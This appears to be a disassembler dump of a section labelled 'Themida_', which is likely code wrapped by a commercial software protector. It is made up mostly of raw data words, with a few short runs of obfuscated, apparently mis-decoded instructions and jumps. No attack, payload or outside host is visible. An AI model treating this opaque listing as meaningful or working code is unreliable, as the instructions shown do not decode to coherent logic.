		dd 51006A24h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 118D7B58h, 0F3511AFBh, 0E851EB87h, 6, 1D511CF2h
		dd 0BE96154h, 76000000h, 0AFDB683h, 25893E59h, 5B5F729Fh
		dd 31ED9D8Bh, 0B5FF0612h, 615BD04h, 7E9h, 62DEDE00h, 0B766ACFAh
		dd 4E8h, 1F03FF00h, 8B665000h, 24448BDFh, 0FE8B6604h, 0BB66008Bh
		dd 4489E32Dh, 8B580424h, 1207B5BDh, 0C858D06h, 0E90615BDh
		dd 5, 4A200C3Ah, 8B6690A6h, 339050FBh, 1203B1BDh, 3195FF06h
		dd 6A061230h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 5E79C352h, 8BBBD155h, 61636ADBh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 52C35545h
		dd 5890F9Ah, 0BB000000h, 399CF557h, 0C4DBD8Bh, 85C70612h
		dd 6120011h, 3,	0D6B70F60h, 15CD8D89h, 83610612h, 15BD0CBDh
		dd 840F0006h, 31h, 11E9h, 7FD12C00h, 5FD93DAh, 0FE51BFFFh
		dd 0C0E6E17Fh, 31E9A4A2h, 0E8000000h, 0Eh, 7039F0C8h, 6819171Eh
		dd 54889E5Dh, 0FD8A97E2h, 0C30505Bh, 11440011h,	10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 0F0C35747h, 382C95A3h, 7A110AA5h, 19A1BB66h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 92C35040h
		dd 8349CABFh, 120011BDh, 850F0306h, 3ADh, 58B0Fh, 0BDBF0000h
		dd 895EC63Dh, 1208F1B5h, 0CBD8306h, 615BDh, 38F840Fh, 0BB660000h
		dd 0B5FF92F0h, 615BD0Ch, 23819589h, 9D890612h, 61207F5h
		dd 202995FFh, 0B5890612h, 612186Dh, 0BD00B58Bh,	6A0615h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 32F227C3h, 0DF8166D9h, 6C7A69Fh, 10001h, 1A7D9D8Bh
		dd 89500612h, 0DF8B2434h, 0BD0CB5FFh, 0BF0F0615h, 0E195FFDBh
		dd 3306121Ah, 1203299Dh, 0B58B06h, 6A0615BDh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 0B4C1C356h, 0EB815250h, 5A9F2F06h, 39858B5Bh, 8B061230h
		dd 120401BDh, 79BD8B06h, 8906120Bh, 0C486h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 0C47B21B7h, 82A1EA9Bh, 6800F60h, 89000000h, 12191585h
		dd 7E806h, 38B00000h, 7E53F4E9h, 8D0F3Bh, 5F000000h, 0CD958B61h
		dd 6A06122Dh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 76C5C352h, 0E9BE0A30h,	7, 0A30EAEC1h
		dd 81CAD25Bh, 84D89C7h,	4C28373h, 6A205089h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 3A48C351h, 18F4A034h, 81948A91h, 0CFF138F3h,	0EA858D0Ch
		dd 890615D0h, 1225A58Dh, 31B53106h, 89061233h, 0B886h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 0CF4B4863h, 60006A17h, 8E9DA8Bh,	89000000h
		dd 9FB02FC0h, 61166017h, 0BD0CB5FFh, 0E9510615h, 7, 12C73593h
		dd 5BF253C8h, 2CD595FFh, 95890612h, 6122205h, 50DF8B96h
		dd 8B9690B7h, 0CB5FFF8h, 6A0615BDh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0D387C353h
		dd 6C948130h, 2E2995FFh, 6A0612h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 14208C3h, 68AE5364h
		dd 59BD8B98h, 8306120Fh, 121189BDh, 840F0006h, 63h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0DBC35040h, 9D8BC578h
		dd 612342Dh, 52505096h,	3DCBBB66h, 0E960310Fh, 0Ch, 76FCDB5Eh
		dd 304CD9h, 0DDA731D2h,	96585A61h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 0DFC35242h,	0FF2E5BCFh, 15BD0CB5h
		dd 41BF6606h, 0A595FF03h, 8906122Ah, 1231FD9Dh,	0CB5FF06h
		dd 6A0615BDh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 0AA20C356h, 46023C01h,	1DBD2361h
		dd 0FF06121Dh, 121BB195h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 0C784504Bh
		dd 85290C4Bh, 6121701h,	344DB509h, 0BD830612h, 6122A41h
		dd 52840F02h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 0F866C357h,	858B1518h
		dd 61218A9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	11C35343h, 0B022FD5Eh, 0CDE4C1C8h, 890000C6h, 122099B5h
		dd 185C706h, 61203h, 0E9000000h, 0Dh, 4A0A94B7h, 0BC231718h
		dd 8B320497h, 0F3BFE9B1h, 6AFFFFh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 9B6B68C3h, 65BD8B23h
		dd 8B061210h, 52006AC1h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 18C4DA06h, 3490B41h, 121141BDh, 16E906h
		dd 4A400000h, 56DEh, 4 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5CEA02
; ---------------------------------------------------------------------------
		mov	eax, [esi]
		or	[ebx-3FA65997h], edi
		retf	0F845h
; ---------------------------------------------------------------------------
		pop	edi
		xor	bh, bl
		xchg	eax, edx
		stc
		xchg	eax, esp
		jnp	short loc_5CE503
		db	3Eh
		ja	short loc_5CE54F
		push	ss
		stc
		lodsb
		adc	edi, [eax-69h]
		dec	edx
		mov	cl, 0DFh
		xor	bl, ah
		dec	edx
		inc	esp
		retf
; ---------------------------------------------------------------------------
		dw 0A47Eh
		dd 893A4D55h, 6C494DF6h, 0F31C7296h, 431FB334h,	0EF27C5D7h
		dd 0DFAE775Ch
; ---------------------------------------------------------------------------
		xor	bl, ah
		dec	edx


loc_5CE503:				; CODE XREF: Themida_:005CE4D3j
		inc	esp
		retf
; ---------------------------------------------------------------------------
		db 96h,	0CDh, 0C1h
		dd 0C54A41FAh, 7A0DBD90h, 947E02Dh, 955E93FEh, 0E3415AF7h
		dd 67184DB5h, 6843DFCh,	840BD409h, 1883568Bh, 63BD4B7h
		dd 25BBA033h, 0CDA86DEEh, 25218F4Eh, 509B4692h,	5912D13Eh
		dd 0D2A5DA35h, 0BCF11E71h
		db 0E9h, 56h, 59h
; ---------------------------------------------------------------------------


loc_5CE54F:				; CODE XREF: Themida_:005CE4D5j
		rcl	al, 3Fh
		repne pop ecx
		aaa
		sbb	bl, [ebx+5B15B75h]
		add	esp, [edx+1DF025EAh]
		mov	dl, 7Dh
		mov	ah, 0D7h
		cmp	[ebx], al
		cmp	dl, [edx-43h]
		mov	[edi+790F44CBh], bh
		db	65h
		jl	short loc_5CE5DA
		daa
		cmp	esp, [esi-0AD0A323h]
		mov	ecx, 71B2DB4Dh
		push	147AA085h
		xor	dword ptr [eax+20h], 8509A2EFh
		mov	dl, [ebp+3Dh]
		push	ecx
		sbb	bh, 47h
		imul	esp, [ebx], -14h
		mov	bh, 0EEh
		mov	ds:0BF73386Dh, al
		and	bh, [ebp+7C13CE3Ah]
		add	al, 0DFh
		mov	esp, 74D122h
; ---------------------------------------------------------------------------
		dw 0
		dd 75931423h, 8D6C8135h, 0EAA4B548h, 0DFAD6625h, 0A0B89D30h
		dd 47DF93EDh, 1D52BDD1h, 0A3D83754h, 9FE8F90Dh,	0DF93F097h
		dd 1D889347h
		db 9Ah,	2Eh
; ---------------------------------------------------------------------------


loc_5CE5DA:				; CODE XREF: Themida_:005CE570j
		mov	bl, 0DCh
		in	al, 0CAh	; DMA controller, 8237A-5.
					; single mask bit register
					; 0-1: select channel (00=0; 01=1; 10=2; 11=3)
					; 2: 1=set mask	for channel; 0=clear mask (enable)
		mov	esp, 63122h
; ---------------------------------------------------------------------------
		db 0
		dd 2894200h, 144C7A0Dh,	5F92F5FDh, 0E6F147DFh, 0C54A4253h
		dd 4AC5C790h, 5A35EE15h, 7E1122B5h, 0B2C65C91h,	37D8B42Fh
		dd 513AF3EAh, 741A2BBEh, 0C55BDC9Bh, 0EEB93181h, 0B56B68FBh
		dd 0BFF41B72h, 6BAEDF98h, 0F083EE21h, 2D62ADDFh, 0CC17CA4Eh
		dd 68014EC1h, 0EBB4E926h, 199B1C9Fh, 5CB3DD9Dh,	63365101h
		dd 3A4547DFh, 0EE0A9ACFh, 0FF549CF3h, 96E122BCh, 0F2000000h
		dd 83B85739h, 72EF1DB0h, 0B435F41Bh, 0A1EC8FD2h, 7506456Eh
		dd 0CD424DAEh, 4D32C598h, 0D4090684h, 558A850Bh, 0DA0F008Ch
		dd 756A77FBh, 0D5AE3347h, 7AD1B6BEh, 0A7B247DFh, 858A0314h
		dd 7884138h, 6D00D308h,	0A9DE315Ch, 206AAFE0h, 0CC584EFh
		dd 13F88B84h, 94C9464Ah, 174CC3CBh, 6F746D81h, 0CFB62B47h
		dd 22BCE787h, 4614h, 1B726600h,	9AF6BFF4h, 0DF35B675h
		dd 0C7341710h, 7E2136C2h, 7D703755h, 0C40805EAh, 54BBD21Dh
		dd 5EB1DC95h, 0C6C35629h, 0F51A7210h, 5FE6A8C0h, 4AB647DFh
		dd 5835EE97h, 1CAF82B7h, 0BCFED7AFh, 10422h, 72560000h
		dd 0F9C2F718h, 9D457A95h, 0D5B530B1h, 8790ED3Ah, 2BD3DB9Ah
		dd 1A49F183h, 9CB3DA0Fh, 0B464ABE3h, 4DF18CD3h,	112A5B0h
		dd 9C35828Dh, 0D0E81DF2h, 4DF18CBDh, 2F5889CDh,	8EF90118h
		dd 0ED4DF18Ch, 8C5532E2h, 25264DF1h, 0AB3EA966h, 5C1BF49Ah
		dd 0EE23ECA3h, 948B881Bh, 0F2350413h, 0F386542Eh, 70FACE2h
		dd 4DF25980h, 588DF803h, 0DB10FF8Fh, 7E6978FCh,	88870910h
		dd 0FBDBD01Dh, 3024AE04h, 167h,	9068841h, 406E01D4h, 1C0A5AEh
		dd 0F17729F9h, 0D4091449h, 0F696830Bh, 0C861AE19h, 9AEDF5C6h
		dd 0E94DF178h, 4A21AC20h, 9B0699AEh, 5C32FB30h,	1B9F7EB3h
		dd 8704BDC6h, 716485CAh, 46F3645h, 5869FCCFh, 978CD936h
		dd 24AE223Fh, 49C6C67Fh, 48B4B6h, 14060000h, 1C82DA93h
		dd 1CAFA805h, 99583D47h, 0DFADD691h, 0A5DAE5C7h, 45CAC57Eh
		dd 113552B2h, 0CD81C7DFh, 260B1514h, 11085F67h,	0FD1447DFh
		dd 0DFAD92F5h, 53E6F147h, 0BCB3000Bh, 0F7CCFF3Bh, 25B882FCh
		dd 0CA16h, 0A5AE8000h, 55F901C0h, 0B049F181h, 5E2DE6A5h
		dd 0FAEB7CB1h, 0E85AFC32h, 775CEF5Ah, 5139E0AEh, 0CDC089BEh
		dd 1F6CD742h, 0FABFA728h, 320F8237h, 0F008E9Fh,	56313950h
		dd 0FE4DF215h, 0F21591F6h, 4FE7F24Dh, 0AE054886h, 0A10CD3A8h
		dd 7B11290Eh, 714DF1D8h, 9CEBF30Ah, 0DF4DF1D9h,	0DA0F7880h
		dd 616C4DF1h, 0CA1763F6h, 0CB4C6F1Fh, 254DDBA9h, 0A8DF8FE5h
		dd 0DB4DF1EAh, 0B0984612h, 0C42F9185h, 0A6AF0C59h, 345BC201h
		dd 0C7328482h, 0CAFB8708h, 0FAF7BAFBh, 8FF0F867h, 9C50071Fh
		dd 7C355C91h, 0A0C7FC13h, 0E516EF98h, 16818C47h, 0F31C7283h
		dd 72151D34h, 1147E516h, 0E68E7306h, 2F38E7FAh,	47B8342h
		dd 3749FA39h, 0AE29DF2Ch, 0F901C0A5h, 49F48186h, 0AC75AAB5h
		dd 0B75837E2h, 0F744AF82h, 3E21305Eh, 92F4B895h, 9923646Ch
		dd 55604DF6h, 324A7FEAh, 0FD1DF3ACh, 75707185h,	0B2A9F619h
		dd 0E87B94F9h, 2358B7D7h, 0C84743FCh, 0AE6B2435h, 27FA2FE0h
		dd 0F3DF87BCh, 0B69BF3EEh, 0A59CE95Ah, 57A40F8Eh, 26E9A760h
		dd 30C8293h, 307CEh, 22710000h,	0F01F7234h, 739CF2BBh
		dd 0F41B753Eh, 7A95F6BFh, 0FE117C45h, 828D00C9h, 40B844Dh
		dd 8B8406CFh, 10FF8D56h, 0E68D4DBh, 89000006h, 6668242Ch
		dd 8900000Bh, 2468241Ch, 89000076h, 0E7682434h,	8B061729h
		dd 0C481241Ch, 4, 4EC81h, 24890000h, 24048124h,	4, 6855515Eh
		dd 2024289h, 0D1CD815Dh, 8143030Ch, 34ED1F5h, 5DE98943h
		dd 1989F101h, 24348B59h, 81E28952h, 4C2h, 4C28300h, 5C241487h
		dd 5B2434FFh, 0E904C483h, 0FFFB51DDh, 0C64727A2h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	edi


loc_5CEA02:				; CODE XREF: Themida_:005CE4BCj
		mov	eax, 6172EB0h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 3Ah
		dd 5521E300h, 0D52BB6F2h, 372853CDh, 0CA68DDAFh, 0F114A7B4h
		dd 41342CA6h, 2217882Dh, 0C18B97Eh, 28447653h, 9F4E57F5h
		dd 1F5DA62Eh, 3F4772A9h, 633DD909h, 0BD3179F5h,	3C38803Fh
		dd 8D36326Ch, 12006585h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 80D6B885h, 7DF3874Bh
		dd 3810Fh, 8B660000h, 8BDDBFFBh, 0FE96218h, 53000000h
		dd 0D6E18F54h, 8E72E8CFh, 0EE59DA6Dh, 0E850EBEDh, 0Eh
		dd 3520DD2Bh, 0D6A6F456h, 15DE1B36h, 665040A8h,	5F5BFE8Bh
		dd 0E9240489h, 0Eh, 1A24DA66h, 0D60BD8C4h, 5E306AC1h, 6AD9CEh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 47C35040h
		dd 0D2A55052h, 667C4DA4h, 0F781DF8Bh, 1D435F19h, 6A006Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 0B70F61C3h, 0C7858DDEh, 0E9061731h, 0Eh, 3B1DCE5Ah
		dd 8C03D348h, 0A4CA7045h, 0C083CAC5h, 0CD852905h, 0F06122Ah
		dd 486h, 2BF6600h, 0E8509092h, 14h, 58D6806Bh, 0C637716Ah
		dd 16424733h, 0EEA863FCh, 1870E30Eh, 56C13BBBh,	505F5B58h
		dd 50C4B560h, 0F5A5052h, 0BE931h, 0AB850000h, 1348FBEFh
		dd 1B753455h, 61585A17h, 0F88B6690h, 6A006Ah, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0C5923DC3h
		dd 50D648E8h, 0B3006AF9h, 5595FFAFh, 6A06120Bh,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 5D28C352h, 4F7327DEh, 0E1BD8BF1h, 8D061207h,	159BCA8Dh
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 4B89ECBAh, 7E97Eh, 44920000h, 0D54D9F66h
		dd 0A5BD8B5Fh, 0FF061207h, 56006AD1h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 0BBDD975Bh
		dd 364B5133h, 3325BD8Bh, 0BD830612h, 6120EE9h, 56850F01h
		dd 0F000000h, 26ADAB7h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 96C35141h, 3BD3A029h,	74B79056h, 91B86050h
		dd 50638510h, 0F616052h, 0F4BF6631h, 61585AD0h,	3800F90h
		dd 0F000000h, 95FFF8B7h, 6122CD5h, 89DEBF0Fh, 122A7195h
		dd 0DEDE906h, 0E80000h,	5D000000h, 31D1ED81h, 9D030617h
		dd 6122341h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	0D6C35141h, 6DBD8B1Fh, 8D061224h, 15968F85h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 4DBB2386h, 9043F68Dh, 30BF6650h, 0E8505FA6h,	0Eh, 3AC74DB1h
		dd 0E4C8F09h, 53FEDDF1h, 0BF667EA8h, 905F0052h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0B3C35141h, 346046Bh
		dd 9D8BC391h, 6122369h,	35FF64h, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 5BFBC355h
		dd 64DDBDCAh, 2589h, 0BF660000h, 85FF4AAEh, 6121235h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0FC35242h, 29BD0307h
		dd 0E906121Fh, 13h, 0FEF9EC0Ah,	457C6157h, 71097460h, 0C4E3C214h
		dd 6AF5D5C3h, 50006AFFh, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 0E81FB27Ah, 0C55923E2h, 7E91F6Dh
		dd 0F1000000h, 30AE4B59h, 0B5FF81D2h, 61213A1h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0CDC35545h, 1B499D8Bh
		dd 95FF0612h, 6121475h,	0E8E9h,	1DBD8B00h, 0B0061233h
		dd 0BD9D8900h, 0E6061200h, 8D9D8970h, 0E4061217h, 9D8B5371h
		dd 61203F1h, 0F613C5Fh,	0C083h,	24CEBF00h, 0B60F31B1h
		dd 6BAC8h, 0FE8B0000h, 3850Fh, 8B660000h, 31C18BF8h, 1232098Dh
		dd 4E8C106h, 66F98B66h,	9531E2F7h, 612266Dh, 0B70FC82Bh
		dd 9D18BDFh, 122D29BDh,	7FE906h, 0BB600000h, 4FDBCA76h
		dd 2E59BD8Bh, 8B610612h, 47554C85h, 0CDB53149h,	83061208h
		dd 0BD8B07C0h, 6121325h, 8A00C083h, 0FD03BF9h, 1183h, 66FC6000h
		dd 963CCE81h, 43E961h, 0BF660000h, 8D8BF931h, 0FFFFFFFFh
		dd 189D8D29h, 0E1830612h, 2A840F01h, 0E9000000h, 6, 0D5954214h
		dd 852900F7h, 612159Dh,	0FFFFA583h, 8BFEFFFFh, 121479BDh
		dd 4C958906h, 0FC494755h, 0E9h,	0DBB58D00h, 6A0616A4h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 0A468C350h, 84D49063h, 89C5AB4Bh,	1231C185h
		dd 66006A06h, 8666DB81h, 29D195FFh, 6A0612h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 8BA271C3h
		dd 10AEB9D9h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 0E3AEBCC3h, 0AE9h, 0D59C3D00h, 464878E8h
		dd 8340120Fh, 8A0FFCE1h, 6, 19D99589h, 5CBB0612h, 0FC77D678h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0E1C35040h
		dd 957610BEh, 0E9216921h, 0Dh, 6DE6E444h, 0B09C02C2h, 0FB2A1BE2h
		dd 81C02B65h, 0F13977CFh, 0BA0Dh, 9D8B0000h, 612328Dh
		dd 1C99BD0Bh, 33AD0612h, 3E8D1C2h, 4E983D0h, 6AF475h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 3EFEAEC3h, 895260C0h, 121E45BDh, 81665B06h, 61BDD5D7h
		dd 880Dh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 0F470AFA9h, 822D09A8h, 0ED8D895Bh
		dd 8B061227h, 122DCD95h, 6D8D8906h, 8B06121Eh, 1231BD8Dh
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 773A5DECh, 66DD752Eh, 82F5F381h,	0CE9h
		dd 7B9DB700h, 61131450h, 0A01F060h, 0D8B70F55h,	8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 8B68B9C3h
		dd 840F53FBh, 6, 69BD8Bh, 835F0612h, 121419BDh,	840F0006h
		dd 6Ch,	1DD19D33h, 0B80612h, 6A000000h,	3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0BF01C352h
		dd 0BB66A423h, 8D8DCC3Ch, 6124E4Bh, 2C659D8Bh, 0E1FF0612h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 49C35141h
		dd 963092F6h, 0EEFFAEE0h, 6870Fh, 0B5290000h, 61227BDh
		dd 11BD83h, 0F000612h, 47484h, 0BE900h,	9E970000h, 0A65595C2h
		dd 0BA010015h, 105CBFF1h, 0BD834523h, 6120011h,	6D840F01h
		dd 6A000004h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 0E10AC352h, 11BD83h, 0F030612h
		dd 40D86h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 0A95A228Fh, 0B58914ADh, 61222FDh
		dd 45C78166h, 860F60C0h, 0Ch, 68F0Fh, 8D890000h, 6122845h
		dd 6AD98C66h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 55D8C352h, 351CF66Bh, 0E9E8C4AAh, 5,	28EAF043h, 4E1805Dh
		dd 2800Fh, 0D98B0000h, 840FC90Ah, 146h,	0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 14h, 98C35040h, 0CD858BF9h
		dd 66061224h, 8533FB8Bh, 612248Dh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 0F9C35747h,	5E5F9074h, 5190D263h
		dd 3870Fh, 8B660000h, 8B505FDEh, 9D8B90F9h, 61208C9h, 0BB66006Ah
		dd 0DE8A9FBh, 9E000000h, 0ADF3B73Dh, 9D5D6186h,	0F76359D9h
		dd 5FF9BF0Fh, 4E8h, 1F03FF00h, 3BB6600h, 0BE850C9h, 71000000h
		dd 0E9DCB85Bh, 0BD8393A0h, 0B060559Ch, 61F08BF6h, 24448B5Fh
		dd 6E95104h, 0CF000000h, 135270BDh, 8B5BE7h, 4244489h
		dd 13E9h, 33727700h, 77318233h,	0D9C197EFh, 5F8797B5h
		dd 5B1FDBCFh, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 9589AB7Ch, 61215BDh, 303195FFh, 6A0612h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 7105C7C3h, 19E7AED8h, 0D5C7E781h, 858914E1h,	615BD0Ch
		dd 1BCE9h, 0F850F00h, 0E9000000h, 0Ah, 8B496705h, 8452F3A6h
		dd 858B8DB9h, 615BD04h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 1CC35141h, 0C381F077h, 1BE5DE82h, 1800C7h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 78D84BC3h, 2164DFD8h, 8B58BEAh, 0E90615BDh
		dd 8, 1F3AB5CAh, 921951E0h, 2399858Bh, 6A0612h,	3E850h
		dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 0E933C6C3h, 14h, 21BBA5CBh, 70B35397h, 74B201C8h, 0AB09FE53h
		dd 0A71414D3h, 6A0689h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 9FC46FC3h, 898E8FDBh, 12292D9Dh
		dd 0CD858B06h, 9061224h, 122415BDh, 4468906h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 69C35646h, 7E9F5E4h
		dd 7C000000h, 205D420Ch, 605098B5h, 0C366B7B8h,	3489610Ch
		dd 0BE924h, 4B850000h, 546A8DCAh, 87F8CB84h, 4B5FFD6h
		dd 6A0615BDh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 72CC352h, 893E922Ch, 12109DBDh
		dd 0DB816606h, 6D686C3Dh, 8B7B4F7Ch, 243481FAh,	7B507F92h
		dd 9A8CBCBFh, 0C858D08h, 0F0615BDh, 489h, 3EBF6600h, 0BEB75074h
		dd 29240489h, 1210CD95h, 3195FF06h, 6A061230h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 897EC350h, 122E118Dh, 0CF806106h, 1185C7FBh,	3061200h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 0E81CC357h, 13E9h, 802B600h, 0F8CDB179h
		dd 0ECA413A9h, 7910C7D3h, 0E0D2A969h, 0BD0CBD83h, 0F000615h
		dd 4D84h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 63DE4155h, 538C5452h, 5E8h, 34632800h
		dd 0EF80CE2Bh, 605F5BB0h, 2820Fh, 5A510000h, 855BD31h
		dd 0E9610612h, 21h, 23BD9589h, 30500612h, 4400110Ch, 0E8C10111h
		dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
		dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
		dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
		dd 11043001h, 7504E983h, 8B00EBE7h, 459589C0h, 0F061208h
		dd 0BD83F9BFh, 6120011h, 2E850F03h, 6A000004h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 3691C351h, 8B0703FCh, 120C619Dh, 7D9D8B06h, 83061216h
		dd 15BD0CBDh, 840F0006h, 3F5h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 36C35343h, 1C17ABADh, 0C31FD384h
		dd 0BD0CB5FFh, 6A0615h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 5E3F64C3h, 39C177C3h, 93C78177h
		dd 0FF6D64EEh, 12202995h, 0B3BB6606h, 0B58BDBh,	6A0615BDh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 0C12BC356h, 0BD8BE065h, 6121371h,	106C7h
		dd 9D030001h, 6121DE1h,	0D88A96F8h, 0EE850h, 66C90000h
		dd 1F500C4Ah, 0F162DFA6h, 14099169h, 5BE9BF66h,	6A965Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 0F96257C3h, 95845E4h, 122EF19Dh, 0CB5FF06h, 6A0615BDh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 1431C352h, 0DC49AE02h, 9D894DC8h,	6121709h
		dd 1AE195FFh, 0FA8B0612h, 850Fh, 0B58B0000h, 615BD00h
		dd 858B5B57h, 6123039h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 0CAC35141h, 331836D5h, 0F5548A51h, 13E8h
		dd 53C7DC00h, 0C87E0EA3h, 1BE959AFh, 8031B5ABh,	0A0D1275Ch
		dd 2239B501h, 895F0612h, 0C486h, 0DD952900h, 8B06122Eh
		dd 122DCD95h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 6DB2103Ah, 83EC3516h, 0D88A04C2h
		dd 0F205089h, 381h, 0DE8B6600h,	0D0EA858Dh, 6A0615h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 78D56CC3h, 0BFC2182Fh, 9D23513Ah, 6122889h, 0B88689h
		dd 850F0000h, 5, 2FCF8166h, 6A006A2Fh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 896EC356h
		dd 0BD0CB5FFh, 0F3810615h, 32C264E8h, 2CD595FFh, 0B70F0612h
		dd 44B750FFh, 6A243489h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 69F8C350h, 440961FAh
		dd 5BFE8B56h, 0BD0CB5FFh, 0BD030615h, 6121985h,	2E2995FFh
		dd 6A0612h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
